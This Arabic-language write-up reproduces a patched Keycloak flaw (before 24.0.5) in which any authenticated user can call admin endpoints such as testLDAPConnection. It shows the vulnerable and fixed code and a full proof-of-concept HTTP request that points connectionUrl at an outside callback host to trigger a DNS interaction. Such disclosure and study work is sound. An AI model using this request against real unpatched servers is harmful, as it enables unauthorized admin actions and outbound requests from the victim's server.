
تتيح Keycloak admin API للمستخدمين ذوي الصلاحيات المنخفضة استخدام الوظائف الإدارية
Keycloak < 24.0.5 معرضة لثغرة التحكم في الوصول المكسور، حيث يمكن للمهاجم استخدام أي مستخدم موثوق لتنفيذ بعض إجراءات API مثل:
اختبار اتصالات LDAP عبر نقطة النهاية testLDAPConnection. استرداد السمات غير المُدارة لأي مستخدم عبر نقطة النهاية getUnmanagedAttributes. الوصول إلى موفري سياسة تسجيل العملاء عبر نقطة النهاية getProviders.
لقد وجدت أن testLDAPConnection فقط مثيرة للاهتمام حيث يمكن للمهاجم التفاعل مع LDAP إلى مضيف خارجي.
أولاً، قم بتنزيل الإصدار الضعيف من KeyCloak 24.0.4 من هنا https://www.keycloak.org/archive/downloads-24.0.4.html
ثم قم باستخراج الملف المضغوط وتشغيل الأمر bin/kc.sh start-dev

الآن سيتم تشغيله على localhost:8080، قم بإنشاء حساب مسؤول جديد ثم تسجيل الدخول إلى حساب المسؤول هذا
الآن قم بإنشاء Realm جديد للمستخدمين العاديين، ثم قم بإنشاء مستخدم بصلاحيات مستخدم في هذا realm

بناءً على الـ commit الذي أصلح الثغرة "Missing auth checks in some admin endpoints" https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1
نجد أن هناك 3 ملفات تم تعديلها:
TestLdapConnectionResource.java UserResource.java ClientRegistrationPolicyResource.java
تحليل تغيير الكود في TestLdapConnectionResource.java:
(الكود الضعيف):
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// Exception handling...
}
لم يكن هناك فحص صلاحيات. أي مستخدم موثوق يمكنه استدعاء testLDAPConnection وإجراء اختبارات LDAP، وهو إجراء إداري.
(الكود المُصحح):
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
auth.realm().requireManageRealm(); // Added permission check
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// Exception handling...
}

تمت إضافة السطر auth.realm().requireManageRealm(); للتحقق مما إذا كان المستخدم يمتلك صلاحيات المسؤول (دور manage_realm) في الـ realm.
هذا يعني أن أي مستخدم في أي Realm يمكنه إرسال طلب إلى /admin/realms/users/testLDAPConnection
الآن في متصفح جديد، افتح الرابط http://localhost:8080/realms/users/protocol/openid-connect/auth?client_id=account-console
قم بتسجيل الدخول باستخدام المستخدم الذي أنشأته، ثم احصل على authorization: Bearer <>
أرسل طلب HTTP إلى نقطة النهاية الضعيفة:
POST /admin/realms/users/testLDAPConnection HTTP/1.1
Host: dzdz.me:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
authorization: Bearer <xxxx>
content-type: application/json
Content-Length: 265
Origin: http://dzdz.me:8080
Connection: close
{
"action": "testConnection",
"connectionUrl": "ldap://xxxxxxxxxxxxxxxxxxxxxxx.oastify.com",
"bindDn": "cn=admin,dc=example,dc=com",
"bindCredential": "password",
"useTruststoreSpi": "ldapsOnly",
"connectionTimeout": "5000"
}
في المعامل connectionUrl ضع مضيفك الخارجي وأرسل الطلب،
ثم ستتلقى تفاعل DNS

يمكنك تطبيق نفس الشيء مع getUnmanagedAttributes و getProviders.
المرجع: https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1 https://github.com/advisories/GHSA-2cww-fgmg-4jqc